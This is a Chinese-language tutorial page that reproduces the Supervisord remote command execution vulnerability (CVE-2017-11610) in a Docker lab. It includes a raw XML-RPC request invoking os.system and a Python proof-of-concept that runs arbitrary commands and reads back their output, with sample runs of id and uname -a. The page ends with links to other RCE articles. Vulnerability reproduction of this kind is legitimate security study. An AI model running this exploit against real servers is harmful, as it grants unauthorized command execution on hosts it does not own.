Supervisord 远程命令执行漏洞(CVE-2017-11610)

简介: Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。

Supervisord 远程命令执行漏洞(CVE-2017-11610)

Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。

它相比Systemd有几个特点:

配置比较简单
一个简单的第三方应用,与系统没有耦合
提供HTTP API,支持远程操作

Supervisord的架构分为Server和Client,Server以一个服务的形式,跑在系统后台,而Client是一个命令行工具,其实就是根据用户的要求,调用Server提供的API,执行一些工作。

运行环境

docker-compose build

出现下列才算成功

Successfully built ea413f911658
Successfully tagged cve-2017-11610_web:latest
docker-compose up -d

环境启动后,访问http://your-ip:9001即可查看Supervisord的页面。

http://127.0.0.1:9001/

漏洞测试

进行修改直接执行任意命令:

POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 215
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

关于直接回显的POC

@Ricter 在微博上提出的一个思路,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)
    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)
    print(result[len(old):])

使用Python3执行并获取结果:./poc.py "http://your-ip:9001/RPC2" "command"

(guiltyfet㉿guiltyfet)-[~/桌面]
└─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "id"     
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
┌──(guiltyfet㉿guiltyfet)-[~/桌面]
└─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "uname -a"
Linux bef681518e5c 5.10.0-kali7-amd64 #1 SMP Debian 5.10.28-1kali1 (2021-04-12) x86_64 GNU/Linux
┌──(guiltyfet㉿guiltyfet)-[~/桌面]
└─$ python3 2017-11610.py "http://192.168.80.131:9001/RPC2" "ip addr"

相关文章
|
7月前
|
Web App开发 XML 安全
ZeroShell防火墙存在远程命令执行漏洞(CVE-2019-12725)
zeroshell防火墙存在远程命令执行漏洞,攻击者可通过特定URL链接对目标进行攻击!!!
114 1
|
7月前
|
安全 Linux Windows
MS08-067 (CVE-2008-4250) 远程命令执行漏洞
本文为08年出现的漏洞进行复现,仅作为学习参考,切勿非法利用! MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize 函数时触发的,而NetPathCanonicalize 函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
114 1
|
11月前
|
安全 Linux Windows
WEB漏洞-RCE代码及命令执行漏洞
WEB漏洞-RCE代码及命令执行漏洞
|
存储 安全 Ubuntu
Linux服务器还有漏洞?建议使用 OpenVAS 日常检查!
Linux服务器还有漏洞?建议使用 OpenVAS 日常检查!
216 0
|
移动开发 监控 安全
|
存储 编解码 安全
|
自然语言处理 安全 Shell
GitLab 远程命令执行漏洞复现(CVE-2021-22205)
GitLab 远程命令执行漏洞复现(CVE-2021-22205)
455 0
|
安全 测试技术 PHP
CVE-2017-9841 phpunit 远程代码执行漏洞
CVE-2017-9841 phpunit 远程代码执行漏洞
1151 0
CVE-2017-9841 phpunit 远程代码执行漏洞
|
安全 网络协议 Java
命令执行漏洞详细讲解
应用有时需要调用一些执行系统命令的函数,如PHP中的`system`、`exec`、`shell_exec`、`passthru`、`popen`、`proc_popen`等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
|
安全 前端开发 中间件
命令执行漏洞
原理 攻击者利用执行系统命令的函数 , 将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击 比如使用Web服务器的权限 执行系统命令,读写文件

热门文章

最新文章